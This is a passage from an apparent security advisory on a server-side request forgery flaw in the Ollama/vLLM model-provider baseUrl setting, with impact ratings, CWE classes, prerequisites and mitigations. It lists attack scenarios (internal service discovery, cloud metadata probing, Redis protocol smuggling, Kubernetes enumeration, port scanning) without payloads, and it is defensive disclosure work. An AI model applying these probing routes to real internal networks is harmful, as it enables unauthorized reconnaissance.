.75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. Internal Service Discovery</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80048d1bc12316520151"><b>Impact</b>: Enumerate internal Ollama/LLM services</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80648164c48a0fb773e0" data-id="3230f0c5b87c80648164c48a0fb773e0"><span><div id="3230f0c5b87c80648164c48a0fb773e0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80648164c48a0fb773e0" title="2. AWS IMDS Probing"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. AWS IMDS Probing</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80d2b34ac71315c41c0b"><b>Impact</b>: Probe for AWS metadata service availability (GET request to /api/tags endpoint)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809794c8da04f86abebb" data-id="3230f0c5b87c809794c8da04f86abebb"><span><div id="3230f0c5b87c809794c8da04f86abebb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809794c8da04f86abebb" title="3. Redis Protocol Smuggling"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Redis Protocol Smuggling</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a99859d3350b805795"><b>Impact</b>: Send HTTP GET/POST to Redis port, potential protocol confusion</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802d8c2dc6f296b66c64" data-id="3230f0c5b87c802d8c2dc6f296b66c64"><span><div id="3230f0c5b87c802d8c2dc6f296b66c64" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802d8c2dc6f296b66c64" title="4. Kubernetes API Enumeration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Kubernetes API Enumeration</span></span></h4><div class="notion-text notion-block-3230f0c5b87c801da64fe813cd0be5ef"><b>Impact</b>: Probe K8s API endpoints</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803897acdbf831a51257" data-id="3230f0c5b87c803897acdbf831a51257"><span><div id="3230f0c5b87c803897acdbf831a51257" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803897acdbf831a51257" title="5. Port Scanning"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. Port Scanning</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8072abbddb7bb2a73ec9"><b>Impact</b>: Scan internal network ports, identify live services</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80aaaeccd739db5f53b9" data-id="3230f0c5b87c80aaaeccd739db5f53b9"><span><div id="3230f0c5b87c80aaaeccd739db5f53b9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80aaaeccd739db5f53b9" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e7884aeb721d6f787b" data-id="3230f0c5b87c80e7884aeb721d6f787b"><span><div id="3230f0c5b87c80e7884aeb721d6f787b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e7884aeb721d6f787b" title="Confidentiality Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Confidentiality Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8031af69db8182ef1d51"><li><b>High</b>: Can probe internal network topology and service availability</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8000b151d156ce483741"><li>Attacker can:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8000b151d156ce483741"><li>Enumerate internal services and open ports</li><li>Identify cloud environment (AWS/GCP/Azure) via metadata service probing</li><li>Map internal network architecture</li><li>Discover internal API endpoints</li></ul></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ba9f18fcfcf2ca96ff" data-id="3230f0c5b87c80ba9f18fcfcf2ca96ff"><span><div id="3230f0c5b87c80ba9f18fcfcf2ca96ff" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ba9f18fcfcf2ca96ff" title="Integrity Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Integrity Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80eaaa05c81eb6068b84"><li><b>None</b>: Read-only SSRF, no direct data modification</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8022b93ff11d8a757f78" data-id="3230f0c5b87c8022b93ff11d8a757f78"><span><div id="3230f0c5b87c8022b93ff11d8a757f78" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8022b93ff11d8a757f78" title="Availability Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Availability Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802abbbbe230e1aa0a2d"><li><b>None</b>: No direct DoS vector</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80babd9dc74603d99cae" data-id="3230f0c5b87c80babd9dc74603d99cae"><span><div id="3230f0c5b87c80babd9dc74603d99cae" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80babd9dc74603d99cae" title="Scope Change"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scope Change</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802685d9c12ad16b2dec"><li><b>Yes</b>: Allows attacking resources beyond application boundary (internal networks)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a39508ef4ec3d3ce53" data-id="3230f0c5b87c80a39508ef4ec3d3ce53"><span><div id="3230f0c5b87c80a39508ef4ec3d3ce53" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a39508ef4ec3d3ce53" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c8089b6c2fe510f4a66b4"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80d3b621f82e8431216e"><td class="" style="width:120px"><div class="notion-simple-table-cell">Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80cdb80de3fdcfb7c8d2"><td class="" style="width:120px"><div class="notion-simple-table-cell">Security</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Internal network reconnaissance, breach prerequisite</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80209fffe80b575a7684"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Violation of network segmentation requirements</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c803391bec49ad8516381"><td class="" style="width:120px"><div class="notion-simple-table-cell">Operational</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Exposes internal architecture to unauthorized parties</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80509f2fc25476c51cb6" data-id="3230f0c5b87c80509f2fc25476c51cb6"><span><div id="3230f0c5b87c80509f2fc25476c51cb6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80509f2fc25476c51cb6" title="CWE Classification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">CWE Classification</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803caf88e27cc6f2df13"><li><b>CWE-918</b>: Server-Side Request Forgery (SSRF)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809eaa92f29d6ee63ee8"><li><b>CWE-441</b>: Unintended Proxy or Intermediary (‘Confused Deputy’)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f79d89fd8e81d86f92" data-id="3230f0c5b87c80f79d89fd8e81d86f92"><span><div id="3230f0c5b87c80f79d89fd8e81d86f92" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f79d89fd8e81d86f92" title="Comparison with GHSA-007 (TTS SSRF)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Comparison with GHSA-007 (TTS SSRF)</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80888d39c738fb671246" data-id="3230f0c5b87c80888d39c738fb671246"><span><div id="3230f0c5b87c80888d39c738fb671246" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80888d39c738fb671246" title="Similarities"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Similarities</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807fad5eec9fd00f35d7"><li>Same root cause: user-controlled baseUrl + raw fetch()</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8071968dec104b00b172"><li>Both require admin/operator privileges</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80cdb215fe8c3de42bd5"><li>Both can target internal services and cloud metadata</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807e8c5aea843aea80c5"><li>Both need same remediation (SSRF validation)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8016935ac95c660b1997" data-id="3230f0c5b87c8016935ac95c660b1997"><span><div id="3230f0c5b87c8016935ac95c660b1997" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8016935ac95c660b1997" title="Differences"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Differences</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80fb8a94daabc4556a1b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c80f6a2a2da24501a890c"><td class="" style="width:120px"><div class="notion-simple-table-cell">Aspect</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GHSA-009 (Ollama/vLLM)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GHSA-007 (TTS)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8083af83e402b52e390d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Severity</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Medium (6.8)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">High (7.7)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80feb0d9c1c4d2c66914"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>API Keys Leaked</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">No</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Yes</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c808f88dec439003dae2f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Request Type</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GET (discovery), POST (stream)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">POST with API keys in headers</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80508270e5c0c0c8a505"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Impact</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Network reconnaissance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Credential theft + reconnaissance</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8039be95f5dc56211880"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Attack Complexity</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Low</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8088b78afb7d56a864b7"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Common Use</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Model discovery (automatic)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">TTS generation (manual trigger)</div></td></tr></tbody></table><div class="notion-text notion-block-3230f0c5b87c80dfb9bdcf573ddf9ecf"><b>Verdict</b>: Lower severity than GHSA-007 due to lack of credential leakage, but still significant for network reconnaissance.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800eb9d8eb161e1cec2d" data-id="3230f0c5b87c800eb9d8eb161e1cec2d"><span><div id="3230f0c5b87c800eb9d8eb161e1cec2d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800eb9d8eb161e1cec2d" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80fda957ebd5a83b32a8"><li>All versions implementing Ollama/vLLM model providers</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801193e2da8be24c6471"><li>Confirmed exploitable as of 2026-03-11 code analysis</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802fb4ebddec105c777b" data-id="3230f0c5b87c802fb4ebddec105c777b"><span><div id="3230f0c5b87c802fb4ebddec105c777b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802fb4ebddec105c777b" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8077a248c043682fa5ff"><li>Attacker requires <b>admin or operator</b> role to modify configuration</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803cb1f4e5a2b1744d90"><li>Valid authentication token with configuration write permissions</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f399b6e3d92457a154"><li>Knowledge of current <code class="notion-inline-code">baseHash</code> for configuration updates</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c804c8db4ee5e18c0995e" data-id="3230f0c5b87c804c8db4ee5e18c0995e"><span><div id="3230f0c5b87c804c8db4ee5e18c0995e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c804c8db4ee5e18c0995e" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802b9808c2fc1cb3ed77" data-id="3230f0c5b87c802b9808c2fc1cb3ed77"><span><div id="3230f0c5b87c802b9808c2fc1cb3ed77" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802b9808c2fc1cb3ed77" title="Immediate Mitigations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Mitigations</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b5ba65ea852e1b1cf1"><b>1. Implement SSRF URL Validation</b> (Same as GHSA-007)</div><div class="notion-text notion-block-3230f0c5b87c80f3af27f09a9f318dcf"><b>2. Apply Allowlist Approach</b></div><div class="notion-text notion-block-3230f0c5b87c80eaa2e7f1e43cf4cc87"><b>3. Use Dedicated SSRF-Safe Fetch Wrapper</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b2bd00da01a5899156" data-id="3230f0c5b87c80b2bd00da01a5899156"><span><div id="3230f0c5b87c80b2bd00da01a5899156" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b2bd00da01a5899156" title="Long-term Solutions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Long-term Solutions</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8001b740c179550b505e" style="list-style-type:decimal"><li><b>Remove baseUrl configuration from UI</b> - Only allow via environment variables</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80308e68f028b14ef63e" style="list-style-type:decimal"><li><b>Implement network-level egress filtering</b> - Firewall rules preventing internal network access</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8095807fc3471aaea231" style="list-style-type:decimal"><li><b>Add audit logging</b> - Log all model provider configuration changes</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80f8a6f0c1685acf0170" style="list-style-type:decimal"><li><b>Unified HTTP Client</b> - Centralized SSRF protection for all outbound requests</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c4b920c7bccddd5c99" data-id="3230f0c5b87c80c4b920c7bccddd5c99"><span><div id="3230f0c5b87c80c4b920c7bccddd5c99" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c4b920c7bccddd5c99" title="Detection Methods"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection Methods</span></span></h4><h4 class="notion-h 